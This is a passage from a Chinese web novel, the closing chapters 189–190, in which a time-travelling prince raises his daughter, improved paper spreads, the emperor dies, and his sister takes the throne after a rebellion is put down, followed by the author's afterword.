作者有话说:更新啦。这篇文在收尾了,大家有什么想看的番外么? 第189章 安乐 要知道那可是王世子, 不是一般的王子可比的,甚至于王世子还只有六岁,定安王若是没有诚意怎么会舍得派遣仅在幼龄的王世子上京。吵吵闹闹到后面, 永熙帝下诏问定安王之疾,并派遣太医前往定安国为其诊治,更赐下珍品药物若干。 永熙元年春三月,帝准栎阳长公主所请,首开春试, 不问出身, 成绩优异者录名于榜上, 赐官身入仕,轰动一时。 永熙二年夏, 朝臣以后宫空虚、皇嗣不丰为由上奏请广开后宫、绵延后嗣,帝以守先帝之丧为由驳回所奏。随后湛京有流言传出, 直指中宫善妒,独霸帝宠。帝为之怒, 以京兆失职为由, 罢京兆, 此后流言遂止。 永熙三年秋,离渊再度生乱,屡有犯边之举。帝遣使往离渊,问责于汗王阿希烈。使团入王庭,会离渊内乱,遂破帐而出,斩敌上百,襄助汗王阿希烈平息叛乱。后离渊汗王阿希烈亲自上书永熙帝致谢,并赠予牛羊等物数千以示感谢。 时间很快来到了永熙四年。 将将入夏, 江都的天儿便酷热难当,人在大白天的狂流汗,一日能换两、三趟衣服。树上的蝉躲在阴暗处仍是撕心裂肺地叫着,夜里也有各种虫儿叫,没个消停。 阿瞳夜里就被吵得睡不着觉,加之永延殿白日里积攒的暑热之气散不去,让她白嫩的肌肤上起了一层红色的痱子,痒得她难受偏又不能用手去抓,又委屈又可怜的小模样看着百里漾与颜漪心疼死了。 太医看过说是暑热引起的热痱,敷上药过两日便会好,但不能一直受热,否则只会反反复复,孩子也会受罪。百里漾想着最近的天气确实是太热了,永延殿已经暂时不适合居住了,想了想便叫人清扫整理了王宫中的一处水榭阁楼出来。阁楼傍水而建,周围广栽绿植,更在水之北,此时正是凉爽得宜的时候。 一家三口搬去阁楼暂居,恰好避暑。阿瞳夜里不再难受得睡不着觉,身上因受热起的热痱也很快消了,恢复了以往的活力,像只快活的小鸟叽叽喳喳地在阿爹阿娘身边飞来飞去。 这日得闲,百里漾应了阿瞳的要求陪她读书习字。说是陪,他也确实更多的是在旁边看着,看王妃教阿瞳读书释义、提笔练字,有时候给母女二人端茶送水,充当气氛组,主打的就是一个陪伴。 阿瞳去年已满五岁,到了正式蒙学的年纪。高皇帝当年给所有百里氏的后代子嗣制定了一套习文的进学规程,按理来说阿瞳只需要照着做便是了。可百里漾自己是亲身体验过那一套进学规程的,觉得对于五岁的孩童来说有些繁重,与王妃商议过后,做了一些调整,主打的就是一个循序渐进,最开始的两年以快乐教学为主。 百里漾并不希望阿瞳开始蒙学的年纪就与当年的他一般要同时面对三个以上的严厉老师,一个搞不好很容易挫伤孩子学习的积极性的。他打算先给阿瞳请一个博学却懂得寓教于乐的老师进行正式启蒙,等过两年再根据阿瞳的实际学习情况另作打算。 作为一地之主,江都又是物阜民丰、人杰地灵之地,百里漾想要为女儿聘请博学之士蒙学并不难,江都国学之中便有不少饱学之士,乃至于还可以从湛京的太学之中选聘博士,难的是找到一个真正懂得儿童教学并博学之人。 那时候百里漾本以为自己要苦恼一阵,没想到这个问题很快便被王妃解决了。王妃说,高大娘子当初重金礼聘了一位少见的博学女夫子为其女居家教学,后高大娘子携女入京,那女夫子因不舍故土留了下来,如今正好可聘来给阿瞳蒙学师傅。 百里漾当时便听得心动。高大娘子识人的本事就不提了,她为女儿选聘的老师必然是不会差的。王妃的眼光必然也是好的,她能够提出此人来必也是认可了那位女夫子的。但最终决定权在阿瞳手上,毕竟要蒙学的人是她,她自己得喜欢那个师傅才行。 当时那位女夫子正于家中赋闲,高大娘子临走之前为了感谢她对女儿的用心教学,厚赠不少,让她将来很长一段时间都不必为钱财忧愁。为表尊重,百里漾与颜漪带着阿瞳携礼亲自登门拜访。 听他们表明来意之后,女夫子并未一口应允下来,而是说让阿瞳先在她这里学上几日,双方都满意了再来。听着似乎有些傲慢无礼,但百里漾看着女儿亮晶晶的眼睛,便知此事已经成了大半了,当下便应了下来。后面的事情也很顺利,阿瞳很喜欢这个女师傅,对方也满意阿瞳这个学生,两相得宜,百里漾与颜漪便正式替女儿将女夫子聘入王宫做蒙学师傅了。 那位蒙学师傅的教学讲究张弛有度,上三休一,今日便是“休一”。阿瞳是个好学的,也喜欢黏着阿娘,这会儿正拿着昨日蒙学师傅教习的课业让阿娘帮讲解。颜漪自幼读书受教,很有学识,她教导阿瞳时温温柔柔的,极有耐心,轻声细语更如春风拂过。别说阿瞳喜欢了,作为旁听者,百里漾也觉得眼前展开了一幅再美好不过的画卷,很是享受当下的岁月静好。 “阿爹,纸张不够用了,可以帮裁些过来么?”阿瞳忽然抬首朝百里漾说道。 “好,很快就来。”百里漾应道,随即起身到另一边的桌案上取了一叠纸张开始裁小。 百里漾用一柄刀身纤细、刃口锋利的裁纸刀裁纸,手掌按压着掌心下的纸张,感受到它与简牍全然不同的触感与重量,内心很是感慨。这造价便宜、质地更佳、更便于流通的纸终于是被造出来了。 这个世界这个时代是有纸的,只不过由于本身过于高昂的造价使得那时候的纸并不能取代简牍成为文字最佳的载体,只能作为权贵手中的一种奢侈品存在。只可惜百里漾并不能算是一个合格的穿越者,别人穿越造纸、造肥皂、造水泥……推进世界的工业化进程,他啥也不会,只知道个名字,啥用也没有。 别的暂且不提,但纸已经存世了,只要将造价打下来,直接就能取代简牍成为最轻便最上佳的文字载体工具,让知识能够更加广泛地传播出去。 想法是美好的,要做起来却没有那么容易。作为一个全然的门外汉,百里漾只能在就封之后先在江都之内秘密召集匠人研究,可惜进展不能说一点都没有,但也算不上有什么突破。江都还是太小了,匠人的数量与质量同整个大衍相比还是差了很大一截,后来百里漾便将此事拜托给了长姐栎阳长公主。时至今日,总算有了成果。 今年四月,圣寿万寿节之上,栎阳长公主献上寿礼,正是经过改良过后的纸,永熙帝为之大喜,厚赐栎阳长公主,并重赏了为改良纸做出贡献的匠人。其后,永熙帝令有司在天下推行纸,将官学之中的简牍逐步摘抄制成书籍版本。 百里漾自然是欣然支持,早早令江都国学等官学遵照而行,王宫之中也提前用上了纸。阿瞳对于如此轻便的书写工具很是喜欢,时不时就缠着阿娘教她习字。 “阿爹,还没有好么?”眼见纸张快要用完了,阿瞳忍不住催促道。 “这就来。”百里漾收回思绪,手下利落地将纸张裁剪整齐,笑着给女儿送去。 本以为今日会是一个很悠闲愉快的一天,没想到在午后被打破了宁静。 “大王,京中来的急传。”长乐殿的侍人急匆匆赶来,向百里漾禀报道。 所谓急传,即是八百里加急,一路换乘,力求以最快的速度将急件送抵目的地。如今便有这么一封来自湛京的急传以最快的速度来到了江都,来到了百里漾的手上。 百里漾当即面色凝重,从侍人手中接过那封急传,启开漆口,迅速展开信件看了,随后沉沉呼出一口气,吩咐道:“即可令国相、都尉……速速入宫至长乐殿等候。”他一连叫了好几个名字出来,基本上都是如今在江都国中身居要位且得到他信重之人。 侍人不敢耽搁即刻领命而去。 百里漾也抬步要朝着门外走去,临出门前,他突然想起妻女,急急收住了脚步,转身朝她们看来,看到的是王妃与阿瞳如出一辙的显出担忧的脸。他略有沉重的心情一下子缓解了不少,露出笑容安抚她们,歉意道:“临时遇到了一些事情,不能陪你们。” “大王有事便先去吧,我与阿瞳不打紧的。”颜漪猜想怕是出了什么大事,让百里漾先去处置。 阿瞳也很懂事,她这个年纪已经知道不少了,当下对阿爹摆手道:“国事为重,阿瞳会等阿爹回来的。”还说了一句不知道从哪里听来的话。 孩子说大人话总是令人忍俊不禁,百里漾面上笑意更深了,温柔道:“好,阿爹争取快一点处理完回来陪我们阿瞳。” 然而说着尽快回来的人直至天黑入夜了才回到水榭阁楼。 “大王可用了晚膳?”颜漪迎上来,看出了百里漾的疲惫,一面拉他到软榻坐下,一面问他肚子饿不饿。 百里漾捏了捏眉心,刚想说自己在长乐殿与范国相他们吃过了,结果肚子有自己的想法叫了一声,他一下子呆愣住了,看着王妃眨巴了下眼睛。 颜漪掩唇笑了,随后说道:“大王真是辛苦了,我这就叫初禾她们去摆饭。”- 作者有话说:更新啦。 历史上,纸是由东汉蔡伦改进造纸术之后才迅速推广的,取代了竹简帛书,成为最主要的书写载体。【`xs.c`o`m 网】 【完结】 第190章 最终 在被王妃陪着用过晚膳之后, 百里漾一面喝着饭后解腻的茶饮,一面与她说着今日从湛京送来的急传里说的是什么事。 上月,有臣子密奏定安王不法之事, 其中以“私开铁矿、铸甲铸钱”为大害,证据本在送往湛京的路上,护送之人在半途中却遭到劫杀,无一活口,证据自然也没了。因丧命之人乃是朝中官员, 朝廷遣使往定安国问责于定安王。朝廷命官在他的封国内被人杀害, 定安王必然要给出一个交代来。 “想必你也能够猜出来, 劫杀之事就是定安王所为。事后他推说是山匪所为,已派兵前去剿灭, 将山匪的人头悉数装在匣中送往湛京,当作是给朝廷的交代。”说到此处, 百里漾神色绷紧,面上有怒火, 拳头亦紧紧攥着。 这分明是定安王为了毁灭证据而杀人灭口, 但事情已被他做成, 人证物证俱失,朝廷明面上根本拿他没有办法。 “定安王如此狠下杀手,想来密奏之事是确有其事了。”颜漪的神色亦不轻松。 能让定安王不惜在事后推出自己人顶罪给朝廷交代也要杀人灭口、毁尸灭迹,可见这背后的事情有多大,甚至还有可能已经不仅仅是私开铁矿这么简单了。 “百里洪依旧是贼心不死呢。”百里漾直接直呼了定安王的名字,方才的怒火如今已经变为了一片冰冻的冷然,直白地点出了定安王的真实目的。 定安王要反。 他对皇位的野心至今都没有消散,甚至随着时间的流逝而愈发膨胀了。但他想要通过顺位继承登基的路子在永熙帝继位之后已经完全断绝了,他只剩下了起兵这条路, 可这条路并却不好走。 抛开别的先不谈,起兵之前首先要有兵马,兵从何来,马从何来。兵是人,是人便要吃粮食,戴甲持兵才能算是兵;马更是稀罕物,养一匹合格的战马所需花费比十个兵都要多。定安王要为起兵做准备,所以才有了“私开铁矿、铸甲铸钱”之事,甚至他要做的事情还远不止于此。 “江都毗邻定安,陛下那边来信是令我盯着那边的动静,加强防范。”百里漾说道。 他一整个下午至天黑之后都是在长乐殿中与范国相等人商讨此事。既要加派人手盯着定安国那边的动静,又要防着定安王可能动兵而做出一定的军事部署,两件事都不是易事,今日也只是初初商定出了一个大致的计划罢了。 “恐怕将来难免一场兵祸。”颜漪面色有些沉凝。 百里漾没有接话,但想法却是与她差不多,除非定安王突然暴毙,否则事情最终必然会走向那个局面。尤其是他自己作为大衍的藩王之一,实在是清楚定安王的实力有多雄厚了。 高皇帝当年建立大衍之后,考虑到周围强敌环伺的问题,特意立下了以藩屏国策略,即是将子嗣分封到临近边境之地,防范抵御邻边的入侵。淄川国在大衍西南境,主要防御的是云岐、肆南两国,定安国、江都国、山阳国乃至长夏国防御的则主要是北边的离渊。 正因为如此,藩王手中的权力极大,不仅治民还统兵。百里漾自己的江都国之中都有兵数近十万之数的永定大营,定安国境内亦有一只规模不输永定大营的军队。这还只是在正常情况之下,如今定安王明显有反心,更是已经在为将来起兵夺位做准备了,兵马的数量不知道增长了多少。 即便将来朝廷平叛,少不了是要大动干戈的。 这便是兵祸。 不过想想倒也不必为此过于悲观。 定安王固然实力不菲,难道他的江都就差了很多么?朝廷的兵力更是雄厚。定安国左右皆有掣肘,定安王即便动兵,想要形势如他所愿,岂是易事。况且如今定安王私底下搞小动作的事情已然泄露,他的不臣之心已彻底显了出来,朝廷必有防范。定安王之后再想要偷偷做些什么就得三思而后行了。 “一切都会好的。”百里漾如此安慰颜漪说道。随着长兄在皇位上坐得愈久,定安王的胜算便愈低。不管将来会发生什么事情,他都会护着王妃与阿瞳的。 “是,一切都在向着好的方向发展。”颜漪莞尔,轻声回道。 麻烦事先抛到一边,百里漾想起女儿来了,他左右看了一圈,没有发现女儿的身影,侧耳细听了一番,也没有听到女儿弄出来的动静,不由问道:“阿瞳呢,怎么不见她?”他还记得下午离开水榭阁楼之时,女儿仰着小脸说会等他回来的。 “大王也不看看眼下是什么时辰了。”颜漪有些无奈,可还记得给女儿解释,说着又有些好笑,“入睡之前我催她洗漱好睡觉,她坚持不肯,说是答应了阿爹要等他的。结果一到床上躺着,没过多久眼皮子就开始打架了,上一句还说着要等你,没两下就睡着了。” “是我回来晚了。”百里漾听到阿瞳坚持要等他,结果等到睡着了他都没有回来,心里有点愧疚,又被王妃说得心痒痒,想要去看看女儿。 百里漾轻手轻脚地入了里间,果然看见阿瞳盖着一张轻薄的小被子睡得正香,小小的呼噜声在静谧的室内轻轻地显了出来。他想伸手勾勾她的小鼻子,却害怕吵醒她半途收回了手,见她身上的薄被有些歪了,又重新给她盖好。 颜漪在旁看着这有爱的一幕,唇角微微扬起,又看着百里漾“蹑手蹑脚”地出来,暖心之余又是好笑,“她睡沉了,轻易醒不了呢。” 百里漾没有听她的,万一呢,女儿睡着了怎么能把她吵醒,然后又觉得自己女儿睡眠质量就是好,日后身量必定能长得挺拔修长。百里氏的人就没有矮的,定国公一家身量也很高,他与王妃身高在男女之中都是拔尖的,他根本不用担心阿瞳日后的身高问题。 正如百里漾所想,私开铁矿之事泄露之后,虽然通过强硬且狠辣的物理手段将有可能走漏风声的隐患都消灭后,定安王提到嗓子眼的那颗心终于可以落回原位了,但这件事情还没有完。如今朝廷没有证据不能将他怎么样,但他做的那些事情已经被朝廷知道了,永熙帝他们能不想办法防着他么。 事以密成,这还没做什么呢,就让朝廷派来的官员发现了,这叫他后续的大业如何推进?!底下人做事不谨慎,让事情到了如今的地步,定安王再生气也无济于事了。他知道,后面的事情他要小心更小心,他得先缩一阵了。 永熙四年末,定安王再次称病不朝,王世子代父入京。 …… 转眼间,又是一年过去,如今已是永熙帝改元后的第五个年头。 步入三月,眼看着春和日丽,一夜过后温度骤降,又起了倒春寒。湛京之中人们刚穿上不久的轻薄衣服又得换下,重新换上厚实的衣物以抵御这场异常寒冷的倒春寒。 这场倒春寒来得气势汹汹,禁宫之中一夜之间有宫侍身子稍弱些扛不住病倒了,往太医那里求医问药。不算严重的领了祛寒的药包自行回去熬药喝便是,实在病得重的才能留下,不过得到的照看也有限。一方面是因为一般的内侍不值得耗费如此多的精力,一方面则是因为如今的太医院如同热锅上的蚂蚁,顾不上其他了。 永熙帝病了,他也在这场突如其来又来势汹汹的倒春寒之中病倒了。病倒的当日便浑身发热,持续了一整晚仍旧高烧不退。太医院几乎所有的太医都来了,数十个太医面对永熙帝这来势凶猛的急症拿不定主意,迟迟敲不定治疗方案,最后还是太后前来坐镇拿了主意,让院正等人全力施为。 好在最后有惊无险,经过整整三次的施针救治,永熙帝终于在第二日退了高热,人也醒了过来,众人见状纷纷松了一口气。 永熙帝骤病,虽说后面醒了过来,但依旧是吓坏了朝臣们。外朝的朝臣们本就为永熙帝孱弱的身子以及单薄的子嗣而忧心忡忡,眼下永熙帝因为一场风寒带来的急症病倒了,让他本来就病弱的身子变得更不好了,偏偏永熙帝又膝下无子,让朝臣们实在是放心不下。 永熙帝身子孱弱至此,膝下只有一女,说句不好听,倘若有个万一,于内于外,于上于下都不是好事,必得提前做好准备,以防不测。于是,朝中便有了奏请永熙帝召江都王回京的声音。 江都王乃今上胞弟,太后亲子,素有贤名,如今今上无子,召江都王回京,立为皇太弟,实在是再应当不过的事情了。朝臣们以为此事按理说是没有什么问题的,不想上奏之后却迟迟没有得到回音。朝臣们一开始料想是永熙帝正在养病,未有精力处理此事,耐心等了几日,宣室殿那边依旧没有动静。 这不太对劲。 此事关乎国祚,岂能耽搁,不管如何,总要有个回复。如今永熙帝在养病,罢了朝会,也不召朝臣来宣室殿议事了,只令诸臣若有要事先禀于镇国长公主。朝臣们见不到永熙帝,日子久了便坐不住了,纷纷要求觐见,但最后都被永熙帝以养病为由拒见了。 这是从来未有过之事。 朝臣奏事不回复,也不见大臣,弄得朝臣们实在是心慌慌。可偏偏禁宫之中一切如常,千秋宫亦是稳坐不动。对了,还有千秋宫,他们怎么把太后给忘了。 先帝崩逝后,太后便迁居千秋宫,从此之后便隐于内宫之中,不太管事了。时间久了,朝臣们竟渐渐有些忘记了这位太后的存在。他们怎么能忘了呢,太后可是今上与镇国长公主、江都王的生身母亲,她若愿意出来说话,哪怕是今上也不能不顾的。 朝臣们自觉找到了新的突破口,一群人想要往千秋宫去拜见,结果也被拒之门外了。 这究竟是怎么一回事?! 朝臣们都要急疯了。 宣室殿之内,永熙帝躺在榻上,病容憔悴,呼吸比常人来得沉重且缓慢,神色有些恹恹,整个人的精气神似乎已被前面生的那场急症抽去了大半。软榻边上是朝臣们奏请召江都王入京的奏疏,眼下呈翻开的状态,分明是永熙帝被看过的。 其实不仅仅是看过而已,永熙帝自己清楚,从奏疏送到他手上的那日开始至今,白天夜里,他看过这奏疏多少次,又因此想了多少次。 “再过三日没有动静,他们只怕要彻底坐不住了。”永熙帝看着那道奏疏良久,终是出言说道,“大娘,你真的想好了么?” 此刻永熙帝身边是有人的,正是栎阳长公主百里澄,她目光先看了一眼那道奏疏,随后落在了长兄永熙帝身上,声音与往常无异,永熙帝却听出了里面的坚定,“我的心意从来都没有变过,阿兄不是一直知道么。” “是啊,我不是一直知道的么?”永熙帝喃喃自语。 他是从什么时候开始发现自己妹妹的雄心壮志的?其实在东宫的时候,他就已经隐隐感觉到了。惊讶么?这实在令人很难不惊讶。他的妹妹竟然有如此惊世骇俗的想法,传出去引起的震动无异于山崩海啸,当时的自己也有种被巨大海浪拍击过的感觉。 他对此一开始是怀着复杂的感情的,也因此即便他知道了妹妹的心思也从来没有当面挑破过,当只当自己从来没有知晓过这件事,他们依旧一如既往。但他自己知道,沉默其实就是一种默许,不反对本身就是一种表态。 其实妹妹的才能他早就看到了不是么?他为太子时,东宫诸多事务都是妹妹在打点,从未出过错,不管于内于外,说文论武,妹妹并不输给其他的兄弟,即便是一直觉得自己合该当太子的老三其实也是比不过她的。 永熙帝很清楚,他们椒房这一脉能够走到今日,妹妹是功不可没的。若非在东宫时她对内替自己分担了许多,对外抵挡住了其他兄弟对太子之位的冲锋,他的身子早就被拖垮了,或许都不能有登上帝位的那一日。 她是自己的亲妹妹,他亲眼见过妹妹的卓越,知道她付出了多少的努力与用心,又怎么忍心让她的付出付水东流。 永熙帝从来都没有觉得自己的妹妹比其他的兄弟差了,有时候他会想,若是抛开性别不谈,以各方面的条件而论,妹妹其实比他更适合做太子。但他也很清楚,这事根本不能抛开性别不谈,上至天子他们的皇父,下至文武百官,在考虑时第一时间想的就是男女阴阳的问题。世人也是这么想的,哪有女人能做天子的。 这条路其实很难走的。且大娘要走这条路,五郎又该如何?皇位只有一个,日后若是姐弟相争,阿娘岂不会伤心? 永熙帝并非是恋栈权位之人,况且他一直都很清楚自己的身体,有些事情是迟早都要到来的,在此之前,他需要为身边人、为百里氏的天下做好打算。首先是母亲,可他并不是很担心,因为无论是大娘还是五郎都会孝顺她的;其次是妻女,同阿娘一样也不必他过于担心,大娘与五郎都会待她们很好;最后便是大娘与五郎,还有这天下该如何托付…… 最稳妥的做法是传位给五郎,正如眼下那些大臣所奏请的那样,召五郎入京,封为皇太弟,这样生出的波折是最小的。可若是传给大娘,朝堂内部先不说,外部反对的声浪绝不会小,甚至他们其他的那些兄弟也都会压不住了。 所以到了此时此刻,永熙帝还是要最后问一次妹妹,真的决定好了么? 兄妹俩目光对视,永熙帝已然在妹妹的眼中看到了答案。他最终叹息一声,目光很认真地看着百里澄,问道:“五郎那边,你会处理好的,对不对?” “是,我会处理好的。”百里澄说道。 这是她给长兄的承诺。 “阿娘她老人家那边,你也自己说去吧。”永熙帝又道。 百里澄:“阿兄放心,我会亲自去与阿娘说的。” “那就好。”永熙帝笑了一下,忽然剧烈咳嗽起来,百里澄急忙给他倒了一杯水,喝过之后好些了他才继续说道,“三公九卿以及宗室那边我会去说,湛京之内倒是不必过多担心。但老三,他必定是要趁机借此生事了,你可有把握?” 兄弟里面最不安分心气最高的就是老三,他本就想反,至今未有大动不过是在等待时机罢了。待到日后消息传出,他岂会放过这于他而言绝好的良机,届时必定是要起兵谋反的。 “他既想反,何不成全了他。”百里漾淡淡道。 只是一语,永熙帝便已看到了她的成算,他面上笑意浮现,将那封奏疏交到妹妹手上,“既如此便按照你的想法来吧。” 说了这么一会儿话,他已经很疲累了,轻阖上眼,摆摆手,示意百里澄回去了。 百里澄看着自己的兄长,内心不可避免地溢出一股浓重的悲伤来。她做了一下深呼吸,将泪意压下去,行礼之后离开了宣室殿。 永熙五年春三月,帝突发急症,三日乃醒,此后愈见衰弱,至七月,不能坐朝。朝中议论再起,奏请迎先帝太宗文皇帝第五子江都王入京,以固国本,帝不允。再七日,朝中有奏请以镇国栎阳长公主为监国者,附议者众,帝允之。 向来未有以公主为监国之事。 事出,朝野哗然,民间更是议论不止。奈何皇帝决心已定,栎阳长公主亦手腕强硬,宗室皆默然,即便有反对之声也改变不了什么。但前有皇帝否决迎立江都王事,后又立长公主为监国,叫人嗅到了一股很不寻常的气息,亦生出了一个堪称惊世骇俗的猜想。 因为过于骇人让人下意识不敢相信,可近来朝堂上的连番动作使人不得不往那个方向去想。 湛京尚算平静的表面之下瞬间变得暗潮汹涌起来,不断有密信乃至人马往湛京之外的四处奔去,其中就有两个方向奔赴最多,一个是江都国,一个则是定安国。 栎阳长公主监国后,永熙帝于禁宫之中养病。可无论太医们围着他如何绞尽脑汁地医治调养,乃至于宫中还举办了几场规模盛大的法事为永熙帝祈福。可这一切都是徒劳,永熙帝的身体依旧是不可避免地朝着最糟糕的状况滑落。 永熙六年二月二十三,帝崩,遗诏册立监国镇国栎阳长公主为储,即日奉诏继位。 天子大行,栎阳长公主即位为君,消息传到定安国,定安王痛彻心扉,痛斥栎阳长公主为狼子野心之辈,弑兄弑君,害弟囚母,篡旨窃位,违天理逆人伦,使乾坤颠倒,国之不宁,他作为百里氏的子孙,理应匡扶社稷、正世间清明。 当年三月初八,定安王百里洪反,又五日,长夏王百里涌亦反。二王密谋,将会师于上川郡。同时,定安王策反镇边军北川大营上将军、左右将军,号称六十万,兵发湛京。会师前夜,长夏王涌暴卒,长夏军群龙无首,乃退。 联军遭挫,然定安王所领叛军仍继续直逼湛京,连克两郡。后遇江都王、定国公世子颜青柏所领朝廷平叛大军,连战连败,不得已退军,驻于上川郡。是夜,北川大营哗变,上将军、左右将军皆死,北川大营倒兵,与朝廷平叛大军围击定安叛军。 定安王败逃,于河谷地被生擒,羁押回京。 由此,为时三月的定安王之乱,平。 次年初,改元承业。 大衍正式进入第一位女帝临朝的时代- 作者有话说:这篇文正文的话完结了,因为想想好像没有什么要写的了。这篇文应该算是我换了个题材的尝试之作,目前看来就是只能写成这样了,也不知道算得上是好还是坏,未来继续努力吧。感谢所有陪伴我到现在的小天使们,以我的性子来说,写文是一件需要耐得住性子的事情,但显然我不是很耐得住,期间更新也不怎么样,请等更的小伙伴见谅。很感谢所有陪伴我到现在读着,更是时不时给我鼓励加油,让我坚持写了下去。 谢谢大家! 番外后面还会写,一些正文没有的会在番外补充,大家有什么想看的番外也可以在评论区说出来。番外更新可能有点慢,先在这里请大家见谅。 写完这篇文之后,我得去补另外一篇文了——《公主意欲何为》,大家感兴趣的话也可以移步到我的专栏看一下,喜欢的话可以点个收藏,它现在真的很肥了,两百多章。这篇文写了很久了,更新也慢,争取今年把它完结掉。文章的名字不代表什么,主要是我不会起文名,它其实是一片纯百江湖文来着,后面应该会改名字吧。 感谢大家的支持,这对我来说很重要。【`xs.c`o`m 网】